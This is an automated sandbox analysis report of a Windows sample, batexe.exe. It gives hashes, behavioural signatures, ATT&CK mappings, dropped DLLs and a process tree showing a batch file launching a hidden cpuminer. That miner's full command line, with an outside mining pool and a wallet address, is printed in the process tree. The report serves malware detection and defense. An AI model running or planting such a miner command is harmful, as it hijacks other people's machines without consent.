73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
310s
max time network
322s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 11:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
batexe.exe
Size 9.4MB
Sample240224-nwezjsaf47
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3732	b2e.exe
904	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
904	cpuminer-sse2.exe
904	cpuminer-sse2.exe
904	cpuminer-sse2.exe
904	cpuminer-sse2.exe
904	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3440-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3440 wrote to memory of 3732	3440	batexe.exe	92
PID 3440 wrote to memory of 3732	3440	batexe.exe	92
PID 3440 wrote to memory of 3732	3440	batexe.exe	92
PID 3732 wrote to memory of 2440	3732	b2e.exe	93
PID 3732 wrote to memory of 2440	3732	b2e.exe	93
PID 3732 wrote to memory of 2440	3732	b2e.exe	93
PID 2440 wrote to memory of 904	2440	cmd.exe	96
PID 2440 wrote to memory of 904	2440	cmd.exe	96

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3440
- C:\Users\Admin\AppData\Local\Temp\7E34.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7E34.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7E34.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8B34.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2440
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\7E34.tmp\b2e.exe
Size 273KB
SHA256 f45682659f65cf9ddb9d4fd19e0dbf5862070d135b8a3c35a0185c7901841240
MD5 3605abe77796a890d9605f4e67efd2d5
SHA1 e45ca834584e3751d026d85d0f2b3e706cf15413
SHA512 20df265bf10c91fc2a6fb5c73b88f4613853f1a84ed64111ccdc3f6f9a17e07f6e14c5e2f1dc61af6d8d6934cd9dee64d0f27574b529bdcbc0cc65c2ddd12386
SSDEEP 6144:hok3ljbWaGFDp4e627Qh79gusSMHX1A7QzhulTvcGd3y4QSmDF:jbWaG1aL27gMy70wW4Ql
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\7E34.tmp\b2e.exe
Size 756KB
SHA256 bb4afaa2ba7138254314d970bade0e953020e6e3f82a7b046242b4abbabbad4d
MD5 6c05f7e1852aff5b30a42b6045709872
SHA1 d95ed30831fd9a32b663679124bbb34b668155c5
SHA512 20780b0b6ee6275337919825786847cd2ec26dff753f7457ca460bd1acfd14a91a0c1e1591d8b2710c07a8096aecec11f54c593613bb86a1faf05beee4e9e3b0
SSDEEP 12288:jbWaG1aL27gMy70wW4QXQOvWrPZ1jU292klJ5WiQtfA2qSOFOxtSw:HWH1K27gMyIwW4QXJWrPZhYOhatt
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\7E34.tmp\b2e.exe
Size 1006KB
SHA256 bff56a9fe9bd572bbe1492e4c905ebdbbc31920dc4e68258dc1880909d30e7df
MD5 75bcbf40f8fc00b37a08b2ba3055fb71
SHA1 32e1fbb38ee26bc638da26222fe5197e844b827d
SHA512 cb6d7eeb3a2c3d44ab7fac221005f39222f9cb0315beb26b0a447fb6755beef028b41fd2bab131e88121fec1f1afc4ca985e164a7c8fa7db2e02db141bc12ae5
SSDEEP 24576:HWH1K27gMyIwW4QXJWrPZhYOhat1cFqR3K7c16OqNF:HWVh7Fj/WrXYcatDRu
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\8B34.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 125KB
SHA256 d960e7c94f09a550d4e6691dac5ccfdff4283c7944b51b77a1d96428166a6376
MD5 c8ee8f30ebd65b6c15cf98f4b5d60405
SHA1 b2a11ed1f3ffb3b3aa808b16d8f7722b4ce49caf
SHA512 8796b7349fbadfe4b8109bb88bf39101b84ebdee35c13c00cd01b77d2b030c19fdba59e1352d52ed30a9c4e1ebcbb808fc3f79c2dbf475475dd0ddf6916c0a62
SSDEEP 3072:ui0CYRtmt2QPxveRaX+zCR9sKDQ5xjE7lB4sDS:WRtm3PARaXZ9sKDQ5xA7l/DS
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 256KB
SHA256 dc7de4210ed002ed6ab8340d21f999fd77ff9c1fe4361227ebbe3324b24009a0
MD5 e0c023f2dc80d8f2415830dcaf9b9e45
SHA1 9806d1f4bd0f76e044071f95f9210b09c2c09fd0
SHA512 76d594de32b07899a478e6b1fbe4a158492174439df3a65478b21135aea9695f47cd6b5006d1bb28398fb1b1f0e64f33e839ae16225fe755bcec4d25d3caf0ef
SSDEEP 6144:WRtm3PARaXZ9sKDQ5xA7l/DJAs4WopOmUdVFPO:WRtMPAkXZ9Zeql/DZoq/G
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 75KB
SHA256 48c8c75f1da3704a245e3fc36c71273365f0a514cfa64606055ef82ee085f371
MD5 085541fa560127ca6446ebd1929f7c06
SHA1 3568bef1424dab1904ec2dc0676ef3eb131aeae2
SHA512 e9d3dabca3346da1485af65f1b73b7f0dc4f1ee1e389b89219b2514becdb49724b97414beead2a4d6acf6f8ba36f14577d306a621d3b7cbc75355c3623da7eaa
SSDEEP 1536:7O6mamETzHJxM45e+yitADm47cDWVwttkwoaIlKkDb/Q:GaN/00Cl6WVwdIlV7Q
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 39KB
SHA256 b4fb728fa55289f484249ff3216c5ae3e376821f89436712f261505912ed24d9
MD5 41789d673eba8da0ece35f50e6aedc5e
SHA1 dcab18eb0d47aa7245eaa04dd711edb664a83a1b
SHA512 1d45e6f8ef89506fed1593d4ec6c2cf52242fb98f209f1a4e08ba0a0f816a4e0765b3c8dac5990c89671e90d93ce3859d12526dc2759621b7c325ce5bd334d74
SSDEEP 768:79EYK0V8Y6QAakrETzAxQxIf6xM49x5bHDCPDCYUdEiDhbMDmJVJSZtI:7O6mamETzHJxM45e+yitADm47I
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 105KB
SHA256 a65fa337ff438227fd665297d0c9bc86901643ba56238ca7557601c5b7dd3e7f
MD5 7d6faa7b0bea204b821f24fa9dbfe544
SHA1 8dd6504c4a8900677b248e2fefbbc65e9d0c0b8e
SHA512 544ee5a7a2a611d179ba1223511b6b2e8a52548cae4b6eff88179dba5f143a51ca642912818b6715c5c6123b11bfc52b6392e4f7c564ef448687df5c7b326ba0
SSDEEP 1536:K1l2Mm0uJuRfYo3q6aTxel1950rxMnY60mzfVj4ey7XLgqzHaxf9CS9B/Xj0l6q5:AbB3q81EOnYxmS7XL9zmQSA6mX
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 95KB
SHA256 a6ce9943ba82e5e82a19579fb87ed3b1b61ad1fce9a64bdbba16cd47c948f4ea
MD5 fd1f7633537d544e0fbf81ca43ebf0d4
SHA1 b3a814e00b3b5de54429fd509b40c245f8b38050
SHA512 bbdcc7fc117dc67030e00ad2b16b251524a5578bb88434c3775ee782e9c571afa1fba04b9d431343f2381293594d3ae6e7feb856f0e902f08815dae9b34cf62b
SSDEEP 1536:K1l2Mm0uJuRfYo3q6aTxel1950rxMnY60mzfVj4ey7XLgqzHaxf9CS9B/Xj0le:AbB3q81EOnYxmS7XL9zmQSAe
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 57KB
SHA256 4168a3d60c201df9f2d480a8c56ea3524fb190f03cff81d4254ab4eb63314064
MD5 09a63d08e5019922eb4bd7894384596e
SHA1 1fbbad7837eb830929c35e97e9d41056a0a8daa9
SHA512 c97fb8292b95edeb551f29eacade46c023c554f9be7ebcbb509d2553102b47b73c6e8a6c32d9c198de411b56090383445cf7ff3e4e503ad953fdc46238071959
SSDEEP 768:U69cVXp2DsKCxl6Y43Rf4KqEVhPk3PaHzkGk8kAkkKkVikS4jhekAzMnaxXmXI/i:Xep2OkNd4lAhrdoZMaQXCUjZL
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 107KB
SHA256 d695b2add51f7141a36938a49a1746a3b3b68d36714683c2ec9ac873773d2818
MD5 00e89c48199c5a5810c1df046456b7d4
SHA1 85964ceb5833368875f27e4cd377712f0da45fa7
SHA512 47ad512f3fb4d811dd8aaea6e486838e4691ee58a7c89ce239f40903a7e4eddeeb1eceabf82b658ef4b296ce2a0f08a9315ab0b09267bdfe83f9fe0438d29af0
SSDEEP 1536:Xep2OkNd4lAhrdoZMaQXCUjZ6gHt3f2ix+n5YU/fTR4vVZF0v6U:OEOWd4lAhRoZuXCFUf2yaYuT4VS
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 33KB
SHA256 f885678cc273469dbb468e3b8fd03ab3ad342f2c40a785df559cb4f09390343c
MD5 e1e8fdfbedb92a97da9bc66fbea06d92
SHA1 7da3bd6976bee07035396c9b5aca2ac2bfd72bb4
SHA512 9dad28d04c5ba1077d6cd7d79ecc961ff3487f78738ce05cbeeaaa67cfc1c9fd2d28ab5145a0e5e1aad489692fd9bcb08d13ca6e324c8950cfe857a4f0fd71f4
SSDEEP 768:U69cVXp2DsKCxl6Y43Rf4KqEVhPk3PaHzkGk8kAkkKk0:Xep2OkNd4lAhrdM
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 189KB
SHA256 9b89e96be5c0baa6912274e4bc2ce19d798eee097d9788a31547596c8f1dc1de
MD5 9a28acbf41eaa1f418db3b51fd8396f3
SHA1 761fd20f7e03df573abbe1187e37fcb9db461f9f
SHA512 df4ee9463b2dbd8e7876ad3d5d77e308eab1040c7378d6698430df525c97f648425fa069680fb1a679ea64953cc7cc67bbe81d132f043058d9073c200e939e4e
SSDEEP 3072:g9ruLE6xim3YOPSA6ml6mmrBXeG8GvtWqOE2zQi/sYNaWw/DqG5arwc7jql5:g9rAim3YMr6mjmrYGf4qt2zQi/XaWqD/
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 84KB
SHA256 9560099edc9842233b4c37a377c79691178e3f578b1783a369fb2eac0fb01575
MD5 366750e8e6bb712389206d74d048ac1e
SHA1 4c133bd3e08018a62b5e0d3ea047f94b8e8a32f4
SHA512 6882da00c258208b7357c2a456790034a1fea61fb5ffd1688c008f45a2372e4a888cbc373546a5beeb5750dea6ba173b6183aef2d0e4646ddd12764ffe3605f2
SSDEEP 1536:t2qAV7UYRlJZMk0JL9up5Szxim3YlbQPS9B/Xj0l6q5rK0Yc7x:g9ruLE6xim3YOPSA6mlx
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/904-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Download

memory/904-79-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-43-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-46-0x000000006DB00000-0x000000006DB98000-memory.dmp

Download

memory/904-45-0x0000000061440000-0x000000006156B000-memory.dmp

Download

memory/904-104-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-47-0x0000000001040000-0x00000000028F5000-memory.dmp

Download

memory/904-48-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-99-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-59-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-64-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-69-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-74-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-89-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/904-84-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/3440-9-0x0000000000400000-0x000000000393A000-memory.dmp

Download

memory/3732-8-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/3732-53-0x0000000000400000-0x0000000000405000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads